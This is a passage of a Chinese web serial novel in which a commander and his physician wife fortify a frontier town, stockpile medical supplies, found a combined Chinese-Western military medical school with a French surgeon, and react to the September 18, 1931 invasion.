宋虎犹豫了一下,“漠城苦寒,一年有半年是大雪封山。咱们当兵的皮糙肉厚不怕,可夫人和小少爷……能受得了吗?”
陆淮锦的手指顿住了。
这正是他最愧疚的地方。
沈晚清好不容易才过了几天安稳日子,又要跟着他去那种苦寒之地吃沙子。
“我去问问她。”
陆淮锦叹了口气,“如果她不想去,我就把她和团圆留在北城,或者送去上海……”
……
听涛苑,卧房。
沈晚清正在收拾行李。
不是在收拾细软珠宝,而是在收拾满满几箱子的医书和药材。旁边还整整齐齐地叠着厚厚的棉衣、皮帽和护膝。
“晚晚。”
陆淮锦走进房间,看着这一地的箱子,愣住了。
“你这是……”
“收拾东西啊。”
沈晚清头也没回,正拿着一张单子在核对,“听说漠城那边冬天冷得能冻掉耳朵,而且药材奇缺。我把这几年存的人参、鹿茸都带上,还让人采购了一批西药和纱布。”
“还有团圆的功课,我也找了几个愿意跟咱们去边疆的老师……”
“晚晚。”
陆淮锦走过去,从身后抱住忙碌的她,下巴抵在她的肩头,声音有些闷:
“你可以不去的。”
“我在上海买了栋小洋楼,法租界,很安全。你可以带团圆去那里享福,等这边局势稳了……”
“陆淮锦。”
沈晚清转过身,伸手堵住了他的嘴。
她看着他的眼睛,目光清澈而坚定:
“三年前在柳镇,我就说过,你去哪里,哪里就是家。”
“你是去守国门,又不是去当土匪。我是军人的妻子,哪有临阵脱逃的道理?”
“而且……”
她轻轻抚摸着他领口的那枚徽章,眼中闪烁着骄傲的光芒:
“那里虽然苦,但那是咱们国家的土地。你守着国门,我守着你。咱们一家人整整齐齐的,比什么洋楼都强。”
陆淮锦看着她。
喉咙像是被什么东西堵住了,说不出一句话。
他只能用力地将她拥入怀中,在这初秋的微凉中,感受着她给予的、足以抵御一切严寒的温暖。
“得妻如此,夫复何求。”
……
三日后,北城火车站。
汽笛长鸣,白色的蒸汽直冲云霄。
一列挂着军用标志的专列静静地停在站台上。
并没有盛大的欢送仪式,这是陆淮锦特意要求的。他不希望扰民,更不希望被有心人盯上。
“敬礼——!”
站台上,留守北城的官员和将领们眼含热泪,齐刷刷地敬礼。
陆淮锦站在车厢门口,一身戎装,回了一个标准的军礼。
小团圆趴在车窗上
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,好奇地看着外面。他怀里抱着那个虽然有点旧、但依然被他视若珍宝的小木枪,脖子上挂着金弹壳。
“爹,我们要去哪里呀?”
“去一个有很多雪,有很多马,还能打大灰狼的地方。”
陆淮锦坐下来,把儿子抱在腿上,指着窗外不断**的景色:
“团圆,记住了。从今天起,咱们不再是享福的大少爷。咱们要去替老百姓看大门了。”
“看大门?”
小团圆眨巴着眼睛,“那是不是大英雄?”
“对。”陆淮锦笑了,“是最大的英雄。”
……
漠城,边防司令部。
半个月后。
当列车终于停在这个被风沙和冰雪覆盖的边陲小城时,一股凛冽的寒风扑面而来。
这里没有北城的十里洋场,只有低矮的土房、枯黄的草场和远处连绵起伏的黑山白水。
“司令!您终于来了!”
先遣部队的团长跑过来迎接,脸被冻得通红,“这里条件简陋,司令部暂时设在原来的县衙里,委屈夫人和小少爷了。”
“无妨。”
陆淮锦跳下车,转身扶着沈晚清和小团圆下来。
他看着眼前这片苍茫的大地,看着远处界河对岸隐约可见的异国哨塔,眼底的温情瞬间褪去,取而代之的是久违的杀伐决断。
“传我命令。”
陆淮锦的声音在寒风中冷硬如铁:
“第一师立刻接管漠城防务。”“修筑工事,深挖战壕,设立三道防线。”“情报处把耳朵给我竖起来,盯着对面的一举一动。”
他抬起手,指着那条缓缓流淌的界河:
“从今天起,这里就是禁区。”
“无论是谁,敢越过那条河一步……”
“杀无赦!”
风沙卷起陆淮锦的大氅。
新的局势,新的战场。
虽然没了“大帅”的名头,但这头坐镇北疆的猛虎,依然还是那个让敌人闻风丧胆的修罗。
而这一次,他面对的不再是内战的同胞,而是那些早已对此地垂涎三尺、露出獠牙的外敌。
第141章 备战
原本平静的界河,气氛陡然紧张起来。
河对岸,几辆挂着膏药旗的军用卡车大摇大摆地开了过来,停在了河滩上。一群穿着黄绿色军装的日本关东军士兵跳下车,甚至还有几个穿着便服、拿着测量仪器的“测量员”,旁若无人地跨过了河中心的国界线,开始在中国的土地上打桩、测量。
“站住!你们越界了!”
负责巡逻的陆家军连长带着一队士兵冲了上去,举枪对峙,“退回去!否则我们开枪了!”
一名日本军官按着指挥刀,气焰嚣张地走上前,用生硬的中文吼道:“我们在寻找走失的士兵!这是合理的搜查!你们**军队无权阻拦!”
“寻找士兵?”连长冷笑,“找人需要带着测绘仪?需要往我们的地里钉界桩?当我们是瞎子吗?”
“给脸不要脸!”
日本军官脸色一沉,手一挥,身后的几十名日军立刻拉动**,黑洞洞的枪口对准了中国士兵。
局势一触即发。
就在这时。
“砰——!”
一声清脆的枪响,打破了僵局。
那名日本军官头上的军帽瞬间被打飞,旋转着落在了界河里。
“谁?!”
日本军官吓得脸色惨白,下意识地捂住脑袋。
只见不远处的高坡上,一匹雪白的战马疾驰而来。马背上的男人身披黑色大氅,手里举着一支还冒着烟的**,眼神比这北疆的寒风还要凛冽。
“陆淮锦!”
日本军官认出了这个煞星,腿肚子不由得抽筋。
陆淮锦策马来到阵前,勒住缰绳,居高临下地看着那群越界的日本人。
“找士兵?”
他冷笑一声,枪口微微下移,对准了那个刚才还在打桩的“测量员”。
“我看你们是在给自己找坟地。”
“陆司令!”日本军官强撑着胆子叫嚣,“你敢开枪?这是外交事件!大日本帝国会向南京政府**……”
“**?”
陆淮锦像是听到了什么笑话。
“砰!”
又是一枪。
这一次,**精准地击碎了那个刚刚钉在中国土地上的木桩,木屑飞溅,擦破了那个测量员的脸,吓得对方屁滚尿流地爬回了河对岸。
“回去告诉你们的长官。”
陆淮锦吹了**口的青烟,声音传遍了整个河滩:
“这里是漠城,不是沈阳,也不是大连。”
“我陆淮锦的规矩只有一条——”
“中国的土地,一寸都不多,一寸也不能少。”
“再敢越过河中心一步,下一颗**,打的就不是木桩,是你们的脑袋!”
“滚!”
一声暴喝,杀气腾腾。
面对这位曾经血洗北城的“修罗”,欺软怕硬的日军最终没敢当场发作,只能捡起帽子,灰溜溜地撤回了对岸。
……
漠城,边防司令部作战室。
当晚,深夜。
虽然白天逼退了日军,但陆淮锦的眉头却锁得更紧了。
“司令,这是情报处刚截获并破译的关东军密电。”
宋虎脸色凝重地将一份文件递给陆淮锦。
陆淮锦接过一看,瞳孔骤然收缩。
那不是一份简单的边境巡逻计划,而是一份名为《关于满蒙权益之扩张》的绝密战略部署。
电文中详细标注了漠城周边的地形、水源、以及陆家军的布防弱点。甚至连今天下午的“越界测量”,都被标注为“火力试探”。
“亡我之心不死啊。”
陆淮锦把文件重重地拍在桌子上,“他们今天是在找进攻的路线!这群狼,已经磨好了牙,准备**了。”
他走到巨大的沙盘前,看着漠城那孤悬在外的地理位置。
一旦开战,这里就是第一道防线,也是最惨烈的绞肉机。
“传我命令!”
陆淮锦转过身,眼中燃烧着决绝的战意:
“全城进入一级战备状态!”
“一团、二团,连夜抢修战壕,挖深三米!要能防重
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炮!”“三团,把漠城周边的所有桥梁都给我埋上**!一旦守不住,炸桥!”“还有,通知全城百姓,进行防空演习。不想走的,发枪!想走的,立刻疏散!”
“是!”宋虎领命而去。
……
漠城临时寓所。
陆淮锦带着一身寒气回到家时,沈晚清还没有睡。
她正在油灯下整理一堆清单。
“回来了?”
沈晚清放下笔,给他倒了一杯热茶,“前线情况怎么样?”
“不太好。”
陆淮锦没有瞒她。在漠城,没什么好瞒的,炮声一响,全城都知道。
“日本人要动手了。这次不是小打小闹,可能是全面进攻。”
他握着茶杯,看着妻子略显憔悴的脸庞,愧疚地说道:“晚晚,要不你带着团圆先回关内吧。这里太危险了。”
“又赶我走?”
沈晚清嗔怪地瞪了他一眼,“我是医生,大战在即,你让我这个最好的外科大夫当逃兵?”
她把桌上的一份清单推到陆淮锦面前。
“这是我这两天盘点的漠城医药库存储备。”
陆淮锦低头一看,心凉了半截。
清单上,止血钳、绷带、麻药、消炎药……所有的栏目后面,都写着刺眼的“缺”字。
漠城偏远,物资匮乏。一旦开战,伤兵一旦运不下来,这里就是地狱。
“没有药,就算战士们再勇敢,也是送死。”
沈晚清站起身,目光坚定:
“淮锦,你负责前面的战壕。”
“后面的药,交给我。”
“我要把咱们在北城的药厂,还有柳镇的渠道,全部调动起来。”
“这场仗,咱们夫妻俩,一起打。”
窗外,寒风呼啸,卷起漫天黄沙。
战争的阴云已经压到了头顶。
但在这间简陋的土房里,两双手紧紧地握在了一起。
既然狼来了,那就拿起**。
备战,不仅仅是为了生存,更是为了尊严。
第142章 医药储备
漠城的秋天来得早,窗户纸上已经结了一层薄霜。
“夫人,北城药厂那边的回电来了。”
管事老张满头大汗地跑进来,手里捏着一张电报纸,脸色有些难看,“那边的经理说……如果要全线停产‘玉容膏’和‘养生丸’,改做急救包和止血粉,这个月的亏损至少是十万大洋。而且……而且那些定了货的阔太太们都在闹退款……”
“让她们退。”
沈晚清正在清点刚刚收购上来的一批棉布,头也没抬,声音清冷而决绝:
“告诉经理,从今天起,陆氏药厂不赚**的钱,只救活人的命。”
“把所有的生产线全部改掉。原来的香料车间改成酒精提纯车间,化妆品车间改成止血粉配制车间。”
“谁要是敢在这个节骨眼上谈亏损,谈利润……”
她猛地抬起头,目光如刀锋般锐利:
“让他直接卷铺盖走人,去跟陆司令谈谈军法。”
老张吓得一哆嗦,连连点头:“是!是!我这就去回电!”
……
漠城,集市药材铺。
虽然有了生产线,但巧妇难为无米之炊。
“沈大夫,真不是我不卖给您。”
药铺掌柜一脸愁苦地摊开手,“您要的磺胺、阿司匹林,那都是洋货。现在日本人封锁了交通线,只要是运往漠城的西药,全被扣下了。现在黑市上一支磺胺,都炒到了五根金条,还是一价难求啊!”
沈晚清眉头紧锁。
她知道日本人这是想在开战前就扼住陆家军的咽喉。没有消炎药,一旦开战,伤兵感染就是死路一条。
“没有西药,咱们就用中药。”
沈晚清转身看着身后跟着的几名军医,“咱们老祖宗几千年没有磺胺,难道就不治伤了?”
她想起这三年在柳镇,为了给穷人治病,她翻遍古籍,改良出的一种金疮药配方。
“传我的话,高价收购白及、大蓟、地榆和三七。”
沈晚清指着远处的深山,“漠城虽然苦寒,但大兴安岭是座宝库。日本人能封锁铁路,封锁不了大山。组织老乡进山采药,有多少我收多少!”
“另外……”
她看向路边一家酒坊,那是漠城最有名的烧刀子酒坊。
“把城里所有的烧酒都买下来。”
军医一愣:“夫人,这酒烈得很,给伤员喝怕是……”
“不是喝。”沈晚清沉声道,“我要再次蒸馏,提纯到75度。那是最好的消毒酒精。”
……
漠城,女子救护队驻地。
接下来的半个月,整个漠城的后方沸腾了。
在沈晚清的号召下,全城的妇女都被动员了起来。上到六十岁的老妪,下到十几岁的姑娘,大家自发地抱着自家的旧床单、旧棉布来到了驻地。
院子里架起了十几口大铁锅,沸水翻滚。
“大家听我说!”
沈晚清挽着袖子,手里拿着一卷剪裁好的棉布条,亲自示范:
“这些布条,一定要在沸水里煮够半个时辰,才能杀死上面的细菌。煮好后,在太阳底下暴晒干透,然后卷成这样的绷带卷。”
“这是给咱们当兵的爷们儿用的。缠在伤口上,能救命!”
“夫人放心吧!咱们懂!”
一位大娘擦了擦眼角的泪,“俺家那口子就在前线修战壕。俺多做一卷绷带,他就多一分活命的机会!”
热气腾腾的白雾中,是无数双忙碌而粗糙的手。
她们也许不懂什么无菌操作,不懂什么医学原理。但她们知道,手中的针线,连着前线亲人的命。
……
边防司令部,物资仓库。
九月初。
当陆淮锦视察完前线防务回到城里时,被宋虎神神秘秘地拉到了后勤仓库。
“司令,您快去看看吧!神了!”
陆淮锦推开仓库的大门。
那一瞬间,这位见惯了大场面的铁血硬汉,被眼前的景象震撼得说不出话来。
原本空荡荡的仓库,此刻堆满了物资。
左边,是整整齐齐码放的数千箱“陆氏止血粉”。那是用中草药研磨而成,散发着淡淡的药香。
右边,是堆积如山的白色绷带卷。虽然布料颜色不一,有白有灰,但每一卷都被煮洗得干干净净,整齐地扎成捆。
中间,是一坛坛提纯后的高浓度酒精,以及用简易模具压制出来的纱布急救包。
“这……”
陆淮锦随手拿起一个急救包,看着上面用娟秀的小楷写着的“平安”二字,眼眶有些发热。
“这些都是夫人带人弄出来的。”
宋虎感慨道,“司令,咱们虽然没有洋药,但有了这些东西,弟兄们心里就有底了。这哪是药啊,这是夫人给咱们求来的护身符啊!”
“晚晚呢?”陆淮锦问。
“还在药坊盯着蒸馏酒呢,说是那批酒度数
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不够,得返工。”
……
药坊。
陆淮锦赶到的时候,沈晚清正靠在门框上打盹。她太累了,眼底有着深深的青色,原本白皙的手上多了好几道被草药划伤的口子,还有被蒸汽烫红的痕迹。
陆淮锦放轻脚步,脱下大氅,轻轻披在她身上。
沈晚清警觉地醒了过来。
“淮锦?你回来了?”
看到是他,她紧绷的神经放松下来,露出一个疲惫却明亮的笑容,“去仓库看了吗?够不够?不够我再让人去别的县收。”
“够了,足够了。”
陆淮锦握住她那双粗糙了许多的手,放在唇边心疼地吻了又吻。
“晚晚,你这本事,抵得上十万雄兵。”
“少贫嘴。”
沈晚清抽回手,神色却并没有轻松多少。她看着远处正在操练的新兵,眉头微蹙:
“淮锦,药是有了,绷带也有了。”
“可是……人不够。”
“人?”陆淮锦一愣,“兵源不够吗?”
“不是兵,是医生。”
沈晚清叹了口气,“现在的随军医生,大多只会简单的包扎。一旦打起大仗,遇到需要截肢、取弹片的大手术,他们根本做不了。”
“我有药,但我分身乏术。我只有一双手,救不了成千上万的人。”
“我们需要更多的、受过专业训练的战地医生。”
陆淮锦闻言,神色也凝重起来。
确实,在这个年代,专业的西医是稀缺资源,愿意来边疆吃苦的更是凤**麟角。
“那你的意思是……”
沈晚清转过头,看着北城的方向,眼中闪烁着某种宏大的愿景:
“授人以鱼,不如授人以渔。”
“既然没人愿意来,那我们就自己培养。”
“我要办一所学校。”
“一所专门培养战地军医的——医科大学。”
风沙中,沈晚清的声音虽然不大,却掷地有声。
陆淮锦看着她。
此时此刻,那个曾经只愿在后宅相夫教子的女子,身影变得无比高大。她不再仅仅是他的妻子,更是一位即将改写中国战地医疗史的先驱。
“好!”
陆淮锦重重地点头,豪气干云:
“你要办学,我就给你盖楼!”
“你要钱,我就把家底都掏出来!”
“咱们夫妻俩,就在这荒凉的北疆,建一座救死扶伤的**塔!”
第143章 建立医学院
“这就是你选的地方?”
陆淮锦穿着马靴,踩在满是落叶的操场上,看着眼前这几栋虽然有些破旧、但砖石结构依然坚固的俄式红砖楼。
“嗯。”
沈晚清手里拿着一张图纸,眼中闪烁着规划的光芒:“这里原来是沙俄的兵营,空间大,采光好。主楼可以做教室和行政楼,旁边的几排营房正好改成学员宿舍和实验室。后面的空地,还可以建一个模拟战地救护的训练场。”
她转过身,看着陆淮锦,语气中带着一丝急切:
“淮锦,时间不等人。虽然咱们有了药,但医生不是韭菜,割了一茬长一茬。培养一个合格的外科医生,至少需要三年。我们必须争分夺秒。”
陆淮锦看着妻子那张因为操劳而略显消瘦、却精神奕奕的脸庞。
他二话没说,转头看向身后的宋虎:
“听到了吗?夫人的话就是军令。”
“宋虎,从工兵营调两个连过来,哪怕是不睡觉,半个月内也要把这里给我翻修出来!”
“还有,经费方面,如果不走军费账目……”陆淮锦顿了顿,从怀里掏出一把钥匙递给沈晚清,“这是我在汇丰银行的私人保险柜钥匙,里面是陆家这几代的积蓄。全都拿去。”
“淮锦……”沈晚清一愣,这可是他的棺材本。
“拿着。”
陆淮锦握住她的手,将钥匙硬塞进她手心,眼神深邃而温柔:
“钱没了可以再挣,人没了就什么都没了。你建学校是为了救我的兵,我出这点钱算什么。”
……
半个月后,招生现场。
“北城医科大学”的牌匾,在这座边陲小城正式挂起。虽然名字沿用了北城的旧称以示正统,但谁都知道,这是一所战地军校。
然而,招生的过程并不顺利。
“当医生?那不是伺候人的活儿吗?那是娘们儿干的!”“俺不学!俺要拿枪打鬼子!拿绣花针算什么英雄!”
告示贴出去三天,来报名的人寥寥无几。在这些热血方刚的边疆汉子和新兵蛋子眼里,上战场杀敌才是荣耀,在后方拿手术刀是没出息的表现。
看着空荡荡的报名处,沈晚清并没有气馁。
她让人在操场上搭起了一个临时的手术台。
“把昨天训练受伤的那匹马牵过来。”沈晚清吩咐道。
那是一匹腿部被铁丝网划开大口子、鲜血淋漓的战马。伤口深可见骨,如果不及时处理,这匹马必死无疑,甚至只能当场射杀。
围观的士兵们议论纷纷。
沈晚清换上白大褂,戴上口罩和手套,手里拿着一把明晃晃的手术刀。
“看好了。”
她声音清冷,没有多余的废话。
清洗、清创、止血、缝合。
她的动作行云流水,快得让人眼花缭乱。那把小小的手术刀在她手里仿佛有了生命,将被切断的血管重新接好,将翻卷的皮肉一层层缝合。
二十分钟后。
“起。”
随着沈晚清的一声令下,那匹原本奄奄一息的战马,竟然在助手的搀扶下,颤巍巍地站了起来!
全场鸦雀无声。
所有士兵都瞪大了眼睛,像是看到了神迹。
沈晚清摘下沾血的手套,走到台前,目光扫过那些年轻的脸庞:
“你们觉得拿枪是英雄,那是因为你们还没见过战友在你们怀里慢慢流干鲜血的样子。”
“在战场上,敌人的**要人命,而医生的刀,是向阎王爷抢命!”
“如果这匹马是你的战友,是你的兄弟,甚至是未来的你自己……”
她猛地提高音量:
“你是希望有个医生能像这样把你缝好,让你还能站起来杀敌?还是希望被人一枪崩了痛苦?”
这番话,振聋发聩。
人群中,一个年轻的士兵红着脸走了出来。他是个读过私塾的秀才兵,本来因为体弱被分到了伙房。
“夫人!我……我识字!我想学!”
有了第一个,就有第二个。
“我也学!我不怕血!”“算我一个!我也想救俺兄弟!”
不到半天时间,第一批三百名学员,招满了。
……
十月一日,开学典礼。
秋风卷起地上的黄叶。
三百名身穿灰色军装、左臂戴着红十字袖标的年轻学员,整齐地列队在操场上。
没有鲜花,没有彩带。
只有一面飘扬的旗帜,和一座刚刚落成的、刻着“健康所系,性命相托”八个大字的石碑。
沈晚清身着白大褂,站在主席台上。
陆淮锦作为名誉校长,坐在她身侧。他看着身边这个光芒万丈的女子,眼底的骄傲藏都藏不住。
“同学们。”
沈晚清的声音通过扩音器,传遍了校园的每一个角落。
“今天,你们踏入了这个校门,就不再只是普通人,甚
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至不再只是普通的军人。”
“你们是生命的守护者。”
“在这所学校里,没有高低贵贱,只有生与死。你们要学的,不仅是医术,更是医德。”
她举起右手,庄严宣誓:
“我志愿献身医学,热爱祖国,忠于人民。”
台下的三百名学员,齐刷刷地举起右手,声音稚嫩却洪亮,汇聚成一股震撼天地的力量:
“我志愿献身医学,热爱祖国,忠于人民!”
“救死扶伤,不辞艰辛!”“执着追求,为祖国医药卫生事业的发展和人类身心健康奋斗终生!”
誓言在空旷的漠城上空回荡,经久不息。
陆淮锦听着这誓言,只觉得胸腔里热血沸腾。
他转过头,看着那些年轻的面孔。他知道,这批人,将会是陆家军最宝贵的财富。
在未来的抗战岁月中,正是这所建立在边疆废墟上的“北城医科大学”,走出了无数白求恩式的战地医生。他们用简陋的器械和精湛的医术,在枪林弹雨中,为中华民族保留了一份又一份元气。
典礼结束后。
沈晚清有些疲惫地靠在椅背上。
“累吗?”陆淮锦递给她一杯水。
“累,但是值得。”沈晚清笑了笑,看着那些正在搬运教材的学生,“只是……现在的师资力量还是太薄弱了。只有几个老中医和我在撑着,外科和西医方面,严重缺人。”
“西医……”
陆淮锦沉吟片刻,“我记得,咱们在那边也不是没朋友。要不要我发电报去上海或者国外问问?”
沈晚清眼睛一亮,刚想说话。
就在这时,宋虎急匆匆地跑了过来,手里挥舞着一份电报,脸上带着喜色:
“司令!夫人!好消息!”
“咱们发出去的求贤帖有回应了!”
“有一位从法国来的大名鼎鼎的外科专家,看到了报纸上关于夫人在边疆办学的报道,主动请缨要来咱们漠城任教!”
“法国专家?”沈晚清一愣,“是谁?”
宋虎看了一眼电报上的署名,挠了挠头:
“这名字有点绕口……好像叫……亨利?”
沈晚清和陆淮锦对视一眼,都在对方眼中看到了惊喜。
亨利!
那个当年在北城曾帮助过沈晚清、医术精湛且为人正直的法国医生!
如果是他来了,那这所医学院的最后一块短板,终于补齐了。
第144章 亨利的加入
漠城的冬天总是来得格外早,第一场大雪已经将天地染成了苍茫的白色。
一列满载货物的车队,顶着风雪,艰难地驶入了校门。
“到了!终于到了!”
车门打开,一个穿着厚重皮草大衣、戴着圆框眼镜的金发中年男人跳了下来。他冻得瑟瑟发抖,却掩饰不住眼中的兴奋,操着一口蹩脚的中文大喊:
“沈!沈!你在哪里?我把巴黎搬来了!”
沈晚清闻讯赶来,看到这个熟悉的身影,脸上露出了久违的灿烂笑容。
“亨利医生!欢迎来到漠城!”
来人正是昔日在北城教会医院威望极高、曾多次协助沈晚清救治伤员的法国外科专家——亨利。
“哦,上帝啊,这地方简直比西伯利亚还要冷!”
亨利夸张地拥抱了一下沈晚清,然后指着身后那几辆卡车,一脸骄傲:
“看!X光机!显微镜!还有整整十箱德国造的手术刀!这可是我刷爆了脸卡,通过外交途径才运进来的宝贝!”
站在一旁的陆淮锦看着那些被小心翼翼搬下来的木箱,眼中闪过一丝敬意。在这个兵荒马乱的年代,能把这些比金子还贵的精密仪器运到边疆,这不仅仅是情分,更是过命的交情。
“亨利先生。”陆淮锦上前一步,主动伸出手,“陆某代表边防军全体将士,谢谢你。”
“哦,陆大帅!”
亨利握住他的手,调侃道,“不用谢我。是被你夫人的那篇文章感动的——《论战地医学与人道主义》,写得太棒了!我觉得如果我不来,那就是医学界的损失。”
……
医学院,第一手术室。
一周后。
虽然老友重逢很温馨,但学术上的碰撞却来得很快,且**味十足。
“No!No!No!”
亨利站在手术台前,看着担架上那个腿部严重感染的伤兵,连连摇头,语气激烈:
“沈,这种程度的坏疽,必须立刻截肢!而且要高位截肢!否则感染扩散,他会死的!”
“不能截。”
沈晚清正在查看伤口,神色冷静,“他才二十岁,是家里的独子。如果截了腿,他在这个乱世怎么活?而且我看过了,骨头虽然碎了,但血管神经还在,还有接上的希望。”
“希望?这在西医里是不可能完成的任务!”
亨利急了,挥舞着手中的手术刀,“没有足够的抗生素,保留肢体只会导致败血症!这是科学!沈,你不能用感情代替科学!”
“科学不仅仅是西医。”
沈晚清转过身,从药箱里取出一排银针,又让人端来了一碗黑乎乎的汤药。
“亨利,咱们打个赌。”
她看着这位固执的法国老友,“给我三个小时。如果我能控制住感染,并恢复局部的血液循环,这台手术,就按保肢方案做。如果不行,听你的,截肢。”
“你用什么控制?就靠这些针和树根汤?”亨利一脸不可置信。
“对。”沈晚清眼神坚定,“就靠这五千年的智慧。”
手术开始。
这是一场可以说是“离经叛道”的联合手术。
亨利负责清创和骨骼固定,这是他的强项。而沈晚清则并没有闲着。
她手起针落,几枚银针精准地刺入伤员腿部的足三里、三阴交、血海等穴位。
神奇的一幕发生了。
原本因为剧痛而肌肉痉挛、导致手术难以进行的伤员,在没有使用全身麻醉的情况下,竟然渐渐平静了下来,肌肉也变得松弛。
“这……这是针灸麻醉?”亨利瞪大了眼睛。
紧接着,沈晚清将那碗特制的、含有大量黄然、金银花和生肌散的药液,直接用于伤口的冲洗和湿敷。
半个小时后。
亨利在显微镜下惊讶地发现,伤口边缘原本正在迅速蔓延的坏死组织,竟然停止了扩散,原本苍白的创面开始渗出新鲜的血液——这说明血液循环通了!
“MonDieu……”
亨利摘下口罩,看着那个保住了双腿的年轻士兵,又看了看正在收针的沈晚清,眼神彻底变了。
“Magic……这简直是东方的魔法!”
“这不是魔法,是医术。”
沈晚清擦了擦额头的汗,微笑道,“西医治标快,中医治本固。亨利,如果我们将两者结合起来——用西医的手术刀解决物理损伤,用中医的药理调理气血、控制感染。那我们在战场上的救治率,至少能提高三成。”
亨利沉默了良久。
突然,他郑重地向沈晚清鞠了一躬。
“沈,我收回刚才的话。你是对的。”
他抬起头,眼中闪烁着狂热的光芒:
“这种‘结合’,将会是医学史上的**!我愿意加入!我要把这种技术写进教科书!”
……
校长办公室。
次日清晨。
一份盖着鲜红印章的聘书,摆在了亨利面前。
【聘请亨利·杜邦先生为北城医科大学副校长,兼外科教研室主任。】
“副校长?”亨利挑了挑眉,“那校长是谁?”
“当然是我。”
沈晚清指了指自己,不紧不慢地说道,“不过,具体的教学和手术训练,你说了算。你是这里的第一
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把刀。”
“成交!”
亨利爽快地签下了自己的名字。
从此,这所屹立在边疆风雪中的医学院,开启了“中西医结合”的先河。
课堂上,学生们上午跟着亨利学解剖、学缝合,对着人体模型练得满头大汗;下午则跟着沈晚清学把脉、认穴位,背诵《汤头歌》。
虽然辛苦,虽然条件简陋。
但在沈晚清和亨利这对黄金搭档的带领下,一批批既能拿手术刀、又能扎银针的“双料军医”,正在快速成长。
他们不知道的是,他们的成长速度,必须在快一点,再快一点。
因为历史的时钟,正在滴答作响,无可挽回地指向那个令所有中国人刻骨铭心的日子。
……
时光飞逝,转眼五年过去。民国二十年,九月中旬。
漠城的秋天依旧萧瑟。
医学院已经送走了三届毕业生,他们大多被分配到了陆家军的各个团营,成为了部队里的宝贝疙瘩。
这五年,陆淮锦厉兵秣马,将漠城防线打造得如铁桶一般。
这五年,沈晚清潜心治学,不仅培养了千余名军医,还建立了一个储备充足的地下药品库。
一切看起来都在往好的方向发展。
然而。
九月十八日这天夜里,沈晚清正在灯下翻看一本关于传染病的医书,突然感到一阵莫名的心悸。手中的茶杯没拿稳,“啪”的一声摔在地上,四分五裂。
“怎么了?”
陆淮锦听到声音,从隔壁书房走过来。
“不知道……心里慌得厉害。”
沈晚清捂着胸口,看着窗外漆黑的夜空,那种不安感如同潮水般将她淹没,“淮锦,是不是……要出事了?”
陆淮锦刚想安慰她。
“滴滴滴——!!!”
一阵急促到令人窒息的电报声,打破了深夜的宁静。
宋虎连滚带爬地冲进院子,手里挥舞着一份刚刚译出的绝密电报,声音因为极度的震惊和愤怒而变得尖锐:
“司令!出事了!出大事了!”
“沈阳……沈阳急电!”
“就在刚刚!日军炸毁了南满铁路柳条湖段,反诬中**队破坏,现已向北大营发起进攻!”
“张少帅下令……不抵抗!”
陆淮锦闻言,浑身一震,如遭雷击。
他猛地转头看向沈阳的方向,双目赤红,牙关咬得咯咯作响。
“九一八……”
沈晚清瘫坐在椅子上,喃喃自语。
那个她在无数个噩梦中预见过的日子,那个中华民族长达十四年苦难的开端。
终于,还是来了。
第145章 战争爆发
这一夜,没人合眼。
电报机的哒哒声像催命符一样,响了一整夜。每一封译出的电文,都像是一记重锤,狠狠地砸在陆淮锦的心口。
“北大营失守!”“奉天沦陷!”“日军占领兵工厂,缴获**数万支,飞机数十架!”“长春告急!”
短短几个小时,关外大好河山,竟然在日本人并没有遇到像样抵抗的情况下,大片大片地沦为敌手。
“混蛋!混账东西!”
陆淮锦双目赤红,一把将手中的战报撕得粉碎,狠狠地摔在地上。
“二十万东北军啊!哪怕是一人一口唾沫也能把那两万关东军淹死!竟然就这么撤了?竟然一枪不放就把沈阳拱手让人?!”
他气得浑身发抖,胸口剧烈起伏,一口腥甜涌上喉头,被他硬生生咽了下去。
作为一名在刀尖上舔血半辈子的武将,他无法理解,更无法接受这种奇耻大辱。
“司令……”
宋虎手里捏着另一份刚到的加急电报,脸色惨白,犹豫着不敢上前。
“念!”陆淮锦吼道。
“是……南京和北平方面发来的急电。”宋虎声音颤抖,“令……令各部‘以此为不测之变,应镇静处之,避免冲突,以待国联裁决’。严令陆家军……原地驻防,不得擅自出兵,以免扩大事态。”
“避免冲突?等待裁决?”
陆淮锦怒极反笑,笑声苍凉而悲愤。
“人家刀都架在脖子上了,还让我把脖子洗干净等着?”
“国联?那群洋人什么时候管过咱们的死活?”
“刺啦——!”
陆淮锦一把夺过那份“不抵抗”的电报,当着满屋子将领的面,直接凑到煤油灯上点燃。
火苗吞噬了那张薄薄的纸,映照着他那张冷硬如铁的脸。
“将在外,君命有所不受。”
陆淮锦看着化为灰烬的命令,一字一顿地说道:
“别人不抵抗,我陆淮锦抵抗。”
“别人怕日本人,我陆家军不怕。”
“传我命令!第一师、第二师立刻集结!打开**库,分发**!全军向东推进,准备迎敌!”
……
漠城,城门口。
三日后。
战火虽然还没直接烧到漠城,但战争的苦难已经先一步到了。
从东北方向涌来的难民潮,像一条凄惨的长龙,跌跌撞撞地涌向这座边陲小城。其中混杂着大量被打散的东北军溃兵,还有拖家带口的百姓。
寒风呼啸,哭声震天。
“救救我的孩子……给口吃的吧……”“日本人杀进村了……全杀了……”
沈晚清带着医学院的师生,在城门口搭起了临时的救护棚和粥棚。
“快!把那个伤员抬进去!”
沈晚清满手是血,正在给一个断了腿的东北军士兵包扎。亨利医生则在旁边的帐篷里进行紧急截肢手术。
“我不截肢!我要回去跟鬼子拼命!”那个年轻的士兵哭喊着,“班长**,连长也**……我也不想活了!”
“想报仇就给我活着!”
沈晚清大声喝止了他,眼眶通红,“腿没了还有手,手没了还有牙!只要活着,这笔账迟早能算回来!”
不远处,已经八岁的陆念清穿着一身缩小版的军装,正帮着母亲给难民分发馒头。
他看着那些失去亲人的孩子,看着那些浑身是血的叔叔伯伯,那双原本天真无邪的眼睛里,第一次有了超越年龄的成熟与恨意。
“娘。”
陆念清拉了拉沈晚清的衣角,指着远处,“那是爹爹的马。”
沈晚清抬头。
只见陆淮锦骑着战马,带着一队警卫,沉默地伫立在城外的土坡上,看着这漫山遍野的难民。
他的背影,像一座即将喷发的火山。
……
漠城,校场点兵。
九月二十五日。
秋风卷起漫天黄沙,五万名陆家军精锐,全副武装,肃立在校场之上。
他们换上了沈晚清筹备已久的新棉衣,背着崭新的**,每个人胸前都挂着两个**。
这是一支用金钱、汗水和信仰堆出来的铁军。
陆淮锦站在点将台上,目光扫过这五万张年轻的脸庞。
“弟兄们!”
他的声音沙哑而洪亮,不需要扩音器,便穿透了风沙。
“你们都看到了!城外的难民,那是咱们的同胞!那是咱们的父老乡亲!”
“短短七天,东三省沦陷,三千万同胞成了**奴!”
